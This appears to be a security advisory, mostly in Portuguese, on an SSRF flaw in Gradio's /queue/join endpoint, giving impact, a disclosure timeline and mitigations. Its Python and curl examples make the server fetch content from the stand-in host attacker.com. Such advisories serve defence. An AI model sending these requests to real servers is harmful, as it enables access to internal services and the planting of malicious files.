Gradio vulnerável a SSRF no parâmetro de caminho de /queue/join

Um atacante pode explorar essa vulnerabilidade para realizar requisições a serviços internos que normalmente não seriam acessíveis externamente. Isso pode incluir a leitura de arquivos confidenciais, a execução de comandos em servidores internos ou a exfiltração de dados sensíveis. A função asyncsaveurltocache permite que o atacante especifique a URL de destino, tornando possível o acesso a qualquer recurso acessível pelo servidor Gradio. O armazenamento local do conteúdo dessas URLs agrava o problema, facilitando o upload de arquivos maliciosos para o servidor. Essa vulnerabilidade se assemelha a outras falhas SSRF, mas a combinação com o armazenamento local de conteúdo aumenta significativamente o potencial de dano.

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. Reservado2024-09-19
2. Publicada2024-10-10
3. Modificada2025-01-21
4. EPSS atualizado2026-04-02

A mitigação primária é atualizar a biblioteca Gradio para a versão 5.0.0 ou superior, que corrige a vulnerabilidade. Se a atualização imediata não for possível, considere implementar workarounds como restringir o acesso ao endpoint /queue/join através de um firewall ou proxy reverso. Implementar validação rigorosa das URLs fornecidas pelos usuários é crucial para evitar que requisições maliciosas sejam enviadas. Monitore os logs do servidor Gradio em busca de requisições suspeitas para o endpoint /queue/join. Não há detecção de assinatura específica disponível, mas a análise do tráfego de rede pode revelar padrões de requisições anormais.